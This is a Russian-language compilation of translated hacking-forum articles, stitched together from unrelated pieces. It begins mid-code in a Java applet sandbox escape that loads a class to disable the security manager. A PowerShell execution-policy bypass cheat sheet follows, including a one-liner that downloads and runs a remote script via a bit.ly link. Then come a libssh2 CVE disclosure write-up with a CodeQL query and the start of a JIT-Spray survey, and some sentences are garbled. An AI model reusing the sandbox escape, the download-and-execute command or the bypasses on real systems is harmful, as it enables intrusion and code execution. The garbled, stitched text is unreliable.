private static Class<?> checkHostClass(Class<?> hostClass)
{
Class<?> caller = sun.reflect.Reflection.getCallerClass(CHC_CALLERS);
if (caller == null)
{
// called from the JVM directly
if (hostClass == null)
return AnonymousClassLoader.class; // anything central will do
return hostClass;
}
if (hostClass == null)
hostClass = caller; // default value is caller itself
Таким образом есть две проблемы, решение которых приведет нас к тому, чтобы
дать SecurityDisabler права trusted домена:
1. sun.invoke.anon.AnonymousClassLoader запрещен для загрузки для untrasted
домена (и как следствие для нашего неподписанного апплета)
2. Необходимо, чтобы загрузку класса инициировал системный trusted код.
Тут надо пару слов сказать про рефлексию. Это что-то типа RTTI в C++, те
полная информация о классах и их членах в рантайме. С помощью нее можно
получить например класс по имени, инстанциировать его и вызвать метод также по
имени. К сожалению это решение неподходит, так как мы не можем загрузить класс
в любом случае (см. проблему 1).
Вокруг рефлексии было создано много разных классов для тех или иных задач,
один из них - com.sun.org.glassfish.gmbal.util.GenericConstructor. Этот класс
позволяет получить любой конструктор по имени и инстанциировать класс, причем
первое обращение к классу (в частности получение конструктора) он делает в
priveledged блоке и сам является системным кодом (находится в rt.jar), что
позволяет обойти обе проблемы. Таким образом следующий код позволит нам
получить объект класса AnonymousClassLoader:
Code:Copy to clipboard
GenericConstructor ctor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
Object loader = ctor.create(new Object[] {});
Но объект типа Object и мы его не можем скастить вниз по иеархии наследования, как и неможем вызвать метод для подгрузки класса или применить рефлексию для получения метода напрямую (нет прав), в силу чего мы должны воспользоваться оберткой, которая юзает рефлексию в priveledged блоке:
Code:Copy to clipboard
Method loadClass = ManagedObjectManagerFactory.getMethod(loader.getClass(), "loadClass", byte[].class);
Код считывания .class файла в байтовый буфер я приводить не буду, его можно посмотреть в метасплойте. Все что нам осталось - вызвать метод и инстанциировать наш класс:
Code:Copy to clipboard
Class securityDisabler = (Class) loadClass.invoke(loader, byteCode);
securityDisabler.newInstance();
Последняя строка запустит конструктор по умолчанию класса SecurityDisabler,
приведенного выше,
который в priveledged блоке отключит менеджер безопасности, после чего можно
юзать любые системные ресурсы.
15 способов обхода PowerShell Execution Policy.
По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для тестеров проникновения, системных администраторов и разработчиков, но это не обязательно. В этом блоге я расскажу о 15 способах обхода политики выполнения PowerShell без прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но, надеюсь, эта шпаргалка станет хорошим началом для тех, кто в ней нуждается.
Что такое PowerShell Execution Policy.
Политика выполнения PowerShell - это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию он установлен на «Restricted», что в основном означает «ничего». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. Вот почему существует так много вариантов обхода. Включая несколько, которые Microsoft предоставила. Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать блог Карлоса Переса.
Почему я хочу обойти политику выполнения?
Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди системных администраторов, тестеров проникновения и хакеров. PowerShell - это:
Как посмотреть Execution Policy.
Прежде чем использовать все замечательные функции, которые может предложить PowerShell, злоумышленникам, возможно, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите конфигурацию в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.
Code:Copy to clipboard
PS C:> Get-ExecutionPolicy
Стоит также отметить, что Execution Policy быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду ниже. Для получения дополнительной информации вы можете проверить страницу Microsoft Set-ExecutionPolicy здесь.
Code:Copy to clipboard
Get-ExecutionPolicy -List | Format-Table –AutoSize
Примечания по настройке.
В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:
Code:Copy to clipboard
Write-Host "My voice is my passport, verify me."
Когда я пытаюсь выполнить его в системе, настроенной с помощью Execution Policy по умолчанию, я получаю следующую ошибку:
Чтобы это исправить, то запустите команду «Set-ExecutionPolicy Restricted» из консоли администратора PowerShell. Хорошо, хватит болтать, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.
Обход Execution Policy PowerShell.
1.Вставьте скрипт в интерактивную консоль PowerShell
Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск.
2.Отобразите сценарий и передайте его стандартному PowerShell
Просто добавьте свой сценарий в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Code:Copy to clipboard
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
3.Считывание скрипта из файла и конвейера в стандарт PowerShell
Используйте команду «type» для Windows или команду Get-Content для PowerShell, чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на диск.
Пример 1: команда Get-Content PowerShell
Code:Copy to clipboard
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
_Пример 2: вводим команду
Code:Copy to clipboard
TYPE .runme.ps1 | PowerShell.exe -noprofile -
4.Скачать скрипт с URL и выполнить с помощью выражения Invoke
Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации. На него ссылается в хорошем блоге PowerSploit Мэтт Грэбер.
Code:Copy to clipboard
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
5.Используйте переключатель команд
Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это может быть сделано без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Пример 1: Полная команда
Code:Copy to clipboard
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
Пример 2: Короткая команда
Code:Copy to clipboard
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей).
6. Используйте переключатель EncodeCommand
Это очень похоже на переключатель «Command», но все сценарии предоставляются в виде строки в кодировке Unicode / base64. Подобное кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя метод сжатия, позволяющий уменьшить размер закодированных команд, если они начинают работать слишком долго.
Пример 1: Полная команда
Code:Copy to clipboard
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Пример 2: Короткая команда с использованием закодированной строки
Code:Copy to clipboard
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7.Используйте команду Invoke-Command
Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью переключателя «Command», но здорово то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Code:Copy to clipboard
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
Приведенную ниже команду также можно использовать для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.
Code:Copy to clipboard
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8.Используйте команду Invoke-Expression
Это ещё одна команда, которая обычно выполняется через интерактивную консоль PowerShell или один вкладыш с помощью переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования для обхода политики выполнения.
Пример 1: Полная команда с использованием Get-Content
Code:Copy to clipboard
Get-Content .runme.ps1 | Invoke-Expression
Пример 2: Короткая команда с использованием Get-Content
Code:Copy to clipboard
GC .runme.ps1 | iex
9. Использовать флаг Execution Policy «Bypass»
Это флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Code:Copy to clipboard
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
10. Используйте «Unrestricted » флаг Execution Policy
Это похоже на флаг «Обход». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запустили неподписанный сценарий, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением ». Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Code:Copy to clipboard
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
11. Используйте «Execution Policy с удаленной подписью»
Создайте свой сценарий, а затем следуйте инструкциям, написанным Карлосом Пересом (<https://www.darkoperator.com/blog/2013/3/5/powershell-basics- execution-policy-part-1.html>), чтобы подписать его. Наконец, запустите его с помощью команды ниже:
Code:Copy to clipboard
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. Отключите ExecutionPolicy, заменив AuthorizationManager
Это действительно творческий метод, с которым я столкнулся на http://www.nivot.org. Приведенную ниже функцию можно выполнить с помощью интерактивной консоли PowerShell или с помощью переключателя «команда». Как только функция вызывается, она заменяет «AuthorizationManager» на ноль. В результате политика выполнения по существу устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.
Code:Copy to clipboard
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy .runme.ps1
13. Установите ExcutionPolicy для области действия
Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.
Code:Copy to clipboard
Set-ExecutionPolicy Bypass -Scope Process
14. Установите ExcutionPolicy для области CurrentUser через команду
Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.
Code:Copy to clipboard
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15. Установите ExcutionPolicy для области CurrentUser через реестр
В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.
Code:Copy to clipboard
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
Подведение итогов
Я думаю, что тема здесь в том, что политика исполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не предназначала это для контроля безопасности. Вот почему есть так много вариантов, чтобы обойти это. Microsoft была достаточно хороша, чтобы предоставить некоторые нативные опции, и сообщество безопасности также придумало действительно забавные трюки. Спасибо всем тем людям, которые внесли свой вклад через блоги и презентации. В остальном, удачи во всех ваших приключениях PowerShell и не забудьте взломать ответственно.
Итог: более 1500 слов
Спасибо tabac за то, что предложил данный текст для
перевода
Переведено специально для XSS.is
Оригинальная статья <https://blog.netspi.com/15-ways-to-bypass-the-powershell-
execution-policy/>
neopaket
Что то не так с подписью так что:
Если хотите, то можете пожертвовать копеечку на подарок на день рождения моего
папы
QIWI:79054863063
BTC кошелёк 1K2G9q6T8qqSPiXomBvFhNCTCphKD7CBcz
ETH кошелёк 0x53d22BFCca6E7820661dF8530CF51AF4541AB8c5 USD PAX кошелёк
0x53d22BFCca6E7820661dF8530CF51AF4541AB8c5
Серьезность проблемы
Прежде всего: не паникуйте! Это не уязвимость в
openssh
, поэтому она не влияет на
ssh,
который мы используем каждый день.
libssh2
- это клиентская библиотека C, которая позволяет приложениям подключаться к
SSH-серверу. Во-вторых, это не уязвимость в
libssh
, которая не связана с библиотекой C, которая предоставляет функциональность,
аналогичную libssh2.
Уязвимость существует в libssh2 версии 1.8.2 и более ранних версиях. Она фиксируется в libssh2 версии 1.9.0 . Мне не известны какие-либо способы устранения этой уязвимости, кроме обновления до версии 1.9.0.
Это уязвимость (out-of-bounds read), она может привести к удаленному доступу к
информации. Она запускается, когда libssh2 используется для подключения к
вредоносному SSH-серверу. Переполнение происходит во время обмена ключами
Диффи-
Хеллмана
, что означает, что уязвимость может быть вызвана на ранней стадии процесса
подключения, до того, как аутентификация будет завершена. libssh2 получает от
вредоносного сервера uint32_t
и не проверяет "границы" на нем. Затем libssh2
считывает память из смещения, указанного в uint32_t
. Я написал
"доказательство
эксплойта"
, в которой вредоносный сервер SSH возвращает очень большое значение смещения,
которое вызывает libssh2 сбой из-за ошибки сегментации. Однако я считаю, что
более тщательно выбранное смещение может привести к получению секретной
информации, поскольку читаемая память впоследствии возвращается на сервер.
Возможность использования будет зависеть от компоновки кучи. Поскольку
libssh2
является только библиотекой, это будет зависеть от приложения, в
котором она используется.
Нахождение уязвимости
18 марта 2019 года Крис Коулсон из Canonical Ltd. обнаружил девять уязвимостей
в libssh2 (
CVE-2019-3855
-
CVE-2019-3863
). Эти уязвимости были исправлены в libssh2 v1.8.1. В то время мой коллега
Павел
Августинов
заметил, что
коммит,
который устранял уязвимости, представил несколько новых предупреждений на
LGTM. Эти предупреждения были из-за кода, подобного
этому
:
if((p_len = _libssh2_get_c_string(&buf, &p)) < 0)
Проблема в том, что _libssh2_get_c_string
возвращает
-1 как код ошибки, но p_len
не подписан, поэтому условие ошибки будет
игнорироваться. Оказалось, что команда libssh2 уже исправила эти проблемы в
последующем коммите, но это побудило нас поближе взглянуть на код, чтобы
увидеть, не содержит ли он каких-либо других очевидных ошибок. Мы быстро
обнаружили
эту
плохо реализованную функцию проверки границ:
Code:Copy to clipboard
int _libssh2_check_length(struct string_buf *buf, size_t len)
{
return ((int)(buf->dataptr - buf->data) <= (int)(buf->len - len)) ? 1 : 0;
}
Проблема с этой функцией в том, что приведение к int
может вызвать
переполнение. Левая сторона не является уязвимостью списать бесится нужно
выбрать свой номер, поскольку поля buf являются доверенными значениями, но
правая сторона проверки небезопасна, поскольку значение len
не является
доверенным. Было несложно создать эксплойт для проверки концепции, которая
обходит эту проверку переполнения, делая значение len
больше, чем `buf-> len
Позже я узнал, что _libssh2_check_length
была введена в основную ветку
разработки после выпуска версии 1.8.2, поэтому такая проверка существует
только в версии 1.8.2. К сожалению, версия 1.8.2 не содержит никаких проверок,
поэтому PoC все еще работает. В версии 1.8.2 исходное местоположение
уязвимости - kex.c:
1675
. Проблема в том, что p_len содержит недоверенное значение, поэтому
последующее чтение из s может быть за пределами. Поскольку
_libssh2_check_length
не существует в версии 1.8.2, нет необходимости, чтобы
значение p_len
было больше 0x80000000
, чтобы вызвать ошибку. Это означает,
что гораздо меньшие значения len
тоже подходят. Это означает, что ошибка ещё
больше упрощает удаленный доступ к информации.
Запрос отрицательных кодов ошибок
Когда мы с коллегами смотрели на
код,
который исправил уязвимости, обнаруженные Крисом Коулсоном, мы заметили
распространенную ошибку: когда отрицательное возвращаемое значение является
unsigned. Эта ошибка является идеальным кандидатом для анализа вариантов,
потому что ее легко допустить и (к нашему удивлению) ее не поймут стандартные
предупреждения
компилятора.
Поэтому я написал этот простой запрос:
Code:Copy to clipboard
import cpp
import semmle.code.cpp.dataflow.DataFlow
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
from Function f, FunctionCall call, ReturnStmt ret, DataFlow::Node source, DataFlow::Node sink
where call.getTarget() = f
and ret.getEnclosingFunction() = f
and ret.getExpr().getValue().toInt() < 0
and source.asExpr() = call
and DataFlow::localFlow(source, sink)
and sink.asExpr().getFullyConverted().getType().getUnderlyingType().(IntegralType).isUnsigned()
and lowerBound(sink.asExpr()) < 0
select sink
Этот запрос выглядит так :
Code:Copy to clipboard
r_len = _libssh2_get_c_string(&buf, &r);
if(r_len <= 0)
return -1;
Запрос ищет функции, которые иногда возвращают отрицательную целочисленную
константу. Например, _libssh2_get_c_string
делает это в строке
773
. Затем он ищет вызовы этой функции, которые принимают возвращаемое значение и
приводят его к типу unsigned.
Вы можете увидеть 9 результатов, которые этот запрос нашел здесь . Я включил эту ссылку в электронное письмо, которое я отправил команде libssh2 28 марта 2019 года. С тех пор они исправили все эти ошибки.
График
Команда libssh2 опубликовала исправление уязвимости на GitHub в течение
нескольких дней после получения моего отчета, но на выпуск новой версии ушло
почти 3 месяца. Когда я послал им PoC, я сказал им, что уязвимость находится в
ревизии
38bf7ce
. Оказывается, эта версия не была включена в релиз 1.8.2. Поэтому команда
libssh2 исправила ошибку в своей ветке разработки и считала ее закрытой, пока
я не попросил у них обновление более месяца спустя. Команда libssh2 полагала,
что уязвимость не затронула 1.8.2, но я быстро обнаружил, что мой PoC также
работает на версии 1.8.2. Они выпустили исправление в версии 1.9.0, не
предупредив меня, поэтому я опубликовал в
твиттере
рекомендацию по безопасности .
● 2019-03-28: я в частном порядке раскрыл уязвимость команде libssh2.
● 2019-03-29: команда libssh2 отправила первоначальный ответ.
● 2019-04-05: команда libssh2 исправляет ошибку в своей ветке разработки:
08ef9b7
,
5929e26
,
b4289ee
.
● 2019-05-08: Я прошу обновить информацию о том, когда будет выпущено
исправление.
● 2019-05-09: Команда libssh2 отвечает, что уязвимость когда-либо существовала
только в ветке разработки и никогда не включалась в выпуск.
● 2019-05-11: Я сообщаю команде libssh2, что мой PoC также работает над
релизом 1.8.2.
● 2019-05-16: команда libssh2 запрашивает исходное местоположение ошибки в
версии 1.8.2.
● 2019-05-16: Я отвечаю с исходным местоположением ошибки в версии 1.8.2.
● 2019-06-17: Я предупреждаю команду libssh2, что наш 90-дневный срок
раскрытия истекает 2019-06-26.
● 2019-06-20: выпущена версия 1.9.0 libssh2.
● 2019-06-30:
[CVE-2019-13115](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://cve.mitre.org/cgi-
bin/cvename.cgi%3Fname%3DCVE-2019-13115) назначен.
Переведено специально дляhttps://xss.is
Переводчик статьи - https://xss.is/members/177895/
Оригинал - https://blog.semmle.com/libssh2-integer-overflow/
Аннотация
С конца 20-го века стало ясно, что веб-браузеры будут играть решающую роль в доступе к интернет-ресурсам, таким как WWW. Они превратились в сложные программные пакеты, которые способны обрабатывать множество форматов данных. Компиляция Just-In-Time (JIT) была включена для ускорения выполнения кода скрипта, но также используется помимо веб-браузеров для повышения производительности. Злоумышленники с радостью приветствовали JIT по-своему, и до сегодняшнего дня JIT-компиляторы являются важной целью различных атак. Это включает в себя, например, JIT-Spraying атаки с повторным использованием кода на основе JIT и специфичные для JIT недостатки, позволяющие обойти методы смягчения, чтобы упростить использование уязвимостей, приводящих к повреждению памяти. Кроме того, JIT-компиляторы являются сложными и обеспечивают большую поверхность атаки, что видно в постоянном потоке критических ошибок, появляющихся в них. В этой статье мы рассмотрим и систематизируем джунгли компиляторов JIT основных (клиентских) программ и дадим категоризацию методов злоупотребления компиляцией JIT. Таким образом, мы представляем методы, используемые в академических, а также в неакадемических работах, которые пытаются сломать различные средства защиты от уязвимости повреждения памяти. Кроме того, мы обсудим какие меры могут привести к ужесточению JIT- компиляторов для предотвращения их использования злоумышленниками, желающими использовать компиляторы Just-In-Time.
1. Введение
Поскольку стало ясно, что ошибки памяти, особенно переполнения буфера в стеке,
могут использоваться для выполнения произвольного кода, управляемого
злоумышленником, в течение многих лет было предложено множество атак и защит.
По сравнению с гонкой вооружений, появились новые защитные сооружения, которые
вскоре были разрушены из-за новых атак, которые снова привели к созданию новых
оборонительных сооружений. Особенно веб-браузеры стали привлекательной мишенью
для атак, учитывая их практическую важность и широкое использование, в
дополнение к их сложности. Атаки на клиентские программы, такие как браузеры,
сначала были обработаны неисполнимым стеком, чтобы предотвратить выполнение
данных в стеке, а также неисполнимой кучей, чтобы остановить разбрызгивание
кучи данных, которые впоследствии выполняются как код. Эта защита стала широко
известной как W ⊕X (Writable xor eXecutable) или Data Execution Prevention
(DEP), чтобы сделать любую область данных неисполнимой в 2003 год. Чтобы
противостоять DEP, злоумышленники начали выполнять повторное использование
кода, например, Return-Oriented Programming (ROP) и многие другие варианты. В
общем, если злоумышленник знает местоположение статического кода в адресном
пространстве уязвимой цели, он может подготовить поддельный стек с адресами
этих гаджетов. Как только управление указателем инструкции получено, эти
гаджеты выполняются в цепочке и выполняют нужные действия. Чтобы предотвратить
повторное использование кода и подобные типы атак, в 2003 году была предложена
рандомизация расположения адресного пространства (ASLR). Он рандомизирует
структуру адресов, затрудняя поиск фрагментов кода для повторного
использования. JIT-Spraying пригодился и здесь: если выражения с постоянными
значениями языка высокого уровня - это Just-In-Time (JIT), скомпилированный в
нативный код, который может использоваться для встраивания байтов вредоносного
кода во время выполнения. Это обходит DEP, потому что данные (косвенно)
внедряются как код. Кроме того, если злоумышленнику удастся создать много
областей этого кода, их местоположение станет предсказуемым. Следовательно,
распыляя много областей кода, можно предсказать адрес одной области, чтобы
обойти ASLR. Наконец, для перенаправления потока управления на введенный код
требуется только управление указателем инструкций. Таким образом, уязвимость,
связанная с использованием после освобождения, путаница типов или переполнение
буфера
Мы представляем обзор JIT-компиляторов в Разделе 2 и более детальный взгляд на
JIT-Spray в Разделе 3. JIT-Spray позволил создать полные автономные полезные
нагрузки, такие как произвольный Shell -код, который выполняется непрерывно.
Кроме того, существуют методы распыления небольших фрагментов (так называемых
JIT-gadgets), которые должны быть объединены в одну цепочку. Если их адреса
предсказуемы, мы все равно считаем их JIT-Spray.
Однако, если для их обнаружения необходима уязвимость раскрытия памяти, мы
считаем ее не JIT-Spray, а атакой, использующей повторное использование кода
на основе JIT. Основная причина этого различия заключается в том, что
раскрытие памяти обычно труднее достичь, чем контроль только над указателем
инструкций. Следовательно, злоумышленник нуждается в большем контроле и должен
вкладывать больше ресурсов, чем при использовании только JIT-Spray. Обзор атак
на повторное использование кода на основе JIT представлен в Разделе 4.
Обратите внимание, что повторное использование кода на основе JIT-Spray и JIT
имеет общее свойство: внедренный код является непреднамеренным и обычно
находится в середине потока команд, намеренно испускаемых компилятором JIT ,
Защитой, которая не только предотвращает выполнение непреднамеренного кода
JIT, но также и непреднамеренного статического кода, такого как гаджеты ROP,
является ControlFlow Integrity (CFI). Это гарантирует, что только
предопределенные записи кода являются допустимыми целями для ветвей как в
статическом, так и в JIT-коде. Важной реализацией CFI является Microsoft
Control-Flow Guard (MS-CFG), которая также защищает области JIT-кода в
Microsoft Edge. Совсем недавно LLVM-CFI появился в Google Chrome как
эффективное решение CFI. Еще одним общим средством защиты от атак с
использованием кода является защита от произвольного кода (ACG). Если этот
параметр включен, кодовые страницы становятся недоступными для записи, а
записываемые страницы исполняемыми. Это создает проблему для JIT-компиляторов,
так как им нужно сначала написать код, а потом изменить разрешения на
исполняемый файл. Следовательно, Microsoft Edge использует JIT-сервер вне
процесса, который отображает динамический код в область памяти, совместно
используемую процессом браузера. В разделе 5 мы опишем дополнительные проблемы
безопасности, которые могут возникнуть в JIT-компиляторах. Существуют также
специальные меры по устранению недостатков, связанных с JIT-Spray и JIT. Мы
кратко представим некоторые из них, необходимые для обеспечения общего
понимания для остальной части статьи. В разделе 6 мы предоставляем более
глубокую и полную картину мер по снижению атак против злоупотреблений JIT-
компиляторами. Одним из смягчающих факторов является удобная оптимизация
компилятора, называемая постоянным сворачиванием: если компилятор (JIT)
способен вычислять операции во время компиляции перед генерацией собственного
кода, то только оставшиеся операции / результаты окажутся в собственном коде.
Следовательно, не появляются константы, в которых злоумышленник мог бы
встроить байты вредоносного кода. Более конкретной защитой от встраивания кода
в константы является постоянное ослепление. Для этого непосредственное
значение передается случайным ключом перед тем, как JIT-компилятор отправит
его в собственную инструкцию. Как только он используется, он «не
записывается», но непосредственное значение не появляется в нативном коде.
Следовательно, это напрямую препятствует внедрению кода через JIT-Spray. Мы
объясним защиту, связанную с JIT, более подробно в разделе 6. В целом, мы
вносим следующие вклады:
• Мы предоставляем обзор JIT-Spray по архитектуре x86 и ARM, включая
академическую работу, а также неакадемические атаки, и подробно описываем
методы нападения. Самая последняя техника JIT-Spray появилась в ASM.JS в
Mozilla Firefox, что мы проиллюстрируем более подробно.
• Мы отличаем JIT-Spray от атак с повторным использованием кода на основе JIT
и объясняем ландшафт атак с повторным использованием кода на основе JIT-
компилятора.
• Мы суммируем обходные пути смягчения, которые были возможны с помощью
компиляторов JIT, и демонстрируем средства защиты, появившиеся в течение
многих лет для защиты от различных недостатков, связанных с JIT.
Остальные разделы разбиты на категории в таблице 1. Он обеспечивает атаки
повторного использования кода на основе JIT-Spray и JIT на основе достигнутой
цели эксплойта в затронутых целях. (Я не знаю, что делать с этой тавтологией)
2 Just-In-Time Compilation
Как отмечалось ранее, самые популярные клиентские программы для обычных
пользователей, несомненно, есть веб-браузеры. Такие браузеры, как Mozilla
Firefox, Internet Explorer, Microsoft Edge, Google Chrome и Apple Safari,
содержат среду выполнения JavaScript. JS является динамическим языком
сценариев и позволяет удобно манипулировать веб-контентом, что является
ключевым аспектом современного Интернета. Хотя движки JavaScript работают как
интерпретаторы, они встраивают компиляторы Just-In-Time (JIT). Преимущества
JIT компиляции по сравнению с интерпретацией JavaScript (байт-код) - это
огромный выигрыш в производительности: вместо выполнения кода JavaScript в
стиле виртуальной машины, нативный код испускается компиляторами JIT для
процессора. Если функция перегревается, т.е. выполняется часто, запускается
компиляция Just-In-Time и преобразует функцию в машинный код для архитектуры,
на которой работает браузер.
Существует несколько компиляторов Just-In-Time и уровней оптимизации. Вообще
говоря, JavaScript браузеры имеют одинаковый дизайн . Существует интерпретатор
и один или несколько компиляторов Just-In-Time с разными уровнями оптимизации.
Например, WebKit, который является основой Apple Safari, использует
четырехуровневую стратегию оптимизации JavaScript: три уровня оптимизации JIT
(LLint, Baseline, DFG, FTL). В то время как первый уровень интерпретирует
JavaScript байт-код, второй-четвертый этапы JIT запускают увеличение
количества выполнений функций и операторов. Таким образом, оптимизация
становится больше. Точно так же ChakraCore, JavaScript движок Microsoft Edge,
имеет несколько уровней.
Attack Flavor| Exploit Goal| Targets (see § 2)| Target Architecture| Bypassed
Mitigations| Proposed Defenses (see § 6)
---|---|---|---|---|---
JIT-Spray (see § 3)| Code execution| ActionScript JIT Apple Safari (JSC)| x86|
W⊕X, ASLR| Con. folding/bliding Ran. Nop insert
JIT-Spray (see § 3)| of continuous| JVM {Jaeger|Trace}Monkey| x86| SMEP,
KERNEXEC| CFI (RAP)
JIT-Spray (see § 3)| payload| Mozilla Firefox (ASM.JS)| ARM| W⊕X, ASLR|
Constant blinding
JIT-Spray (see § 3)| ----------------------------------------------|
ActionScript JIT JSC Spider Monkey| x86| W⊕X, ASLR, Random nops| Constant
blinding
JIT-Spray (see § 3)| Code execution| LLVM Jit {Jaeger|Trace}Monkey| x86| W⊕X,
ASLR| Constant blinding
JIT-Spray (see § 3)| of JIT gadgets| Internet Explorer Microsoft Edge| x86
x64| W⊕X, ASLR, MS-CFG| Enforce MS-CFG for WARP JIT code
JIT-Spray (see § 3)| | JSC V8| ARM| W⊕X, ASLR| JIT allocation randomization
JIT-based code reuse| Code execution| Spider Monkey, Int Explorer| x 86 x64|
Gadget-free static code| Constant blinding
JIT-based code reuse| of JIT gadgets| Google Chrome, Int Explorer, Spider
Monkey| x64 x86 x86/x64| Execute-only memory| Remove implicit constants from
native code
Таблица 1: Защиты, обходимые JIT-Spray и атаками с повторным использованием
кода на основе JIT, и предлагаемые меры по их снижению.
JIT-компиляция может быть разбита на параллельные фоновые потоки. В настоящее
время Mozilla Firefox использует IonMonkey в качестве компилятора Just-In-
Time, который разработан Cross-Architectur (Кросс-Архитектурным) способом для
упрощения компиляции во время выполнения различных процессоров, таких как x86
и ARM. TurboFan является JIT-компилятором V8, движка JavaScript Google Chrome,
и реализует собственный набор агрессивных оптимизаций, одновременно снижая
сложность предыдущих JIT-компиляторов. Помимо браузеров, также виртуальная
машина Java (JVM) использует интерпретатор и JIT-компилятор (Oracle HotSpot).
Таким образом, скомпилированные двоичные файлы Java остаются переносимыми с
использованием универсального байт-кода, который интерпретируется и JIT-
компилируется в базовую архитектуру, на которой должна выполняться программа.
Для полноты картины отметим, что в каркасе Microsoft dotNet имеется также JIT-
компилятор (RyuJIT), и даже ядро Linux использует JIT-компиляцию для
расширенных фильтров пакетов Berkeley (eBPF). Для популярного серверного языка
PHP существует JIT-компилятор с именем HHVM, и язык Lua использует LuaJIT для
динамической генерации собственного кода. Интересно, что, как мы объясним в
следующем разделе, наиболее заметной атакой против JIT-компилятора была JIT
Spray, нацеленная на виртуальную машину ActionScript (AVM) Adobe Flash
3 JIT-Spray
JIT-Spray - это элегантный метод эксплуатации, позволяющий обойти как DEP, так
и ASLR. Хотя он не такой общий, как ROP, поскольку необходим JIT-компилятор,
он значительно упрощает использование ошибок памяти.
3.1 JIT-Spray на x86
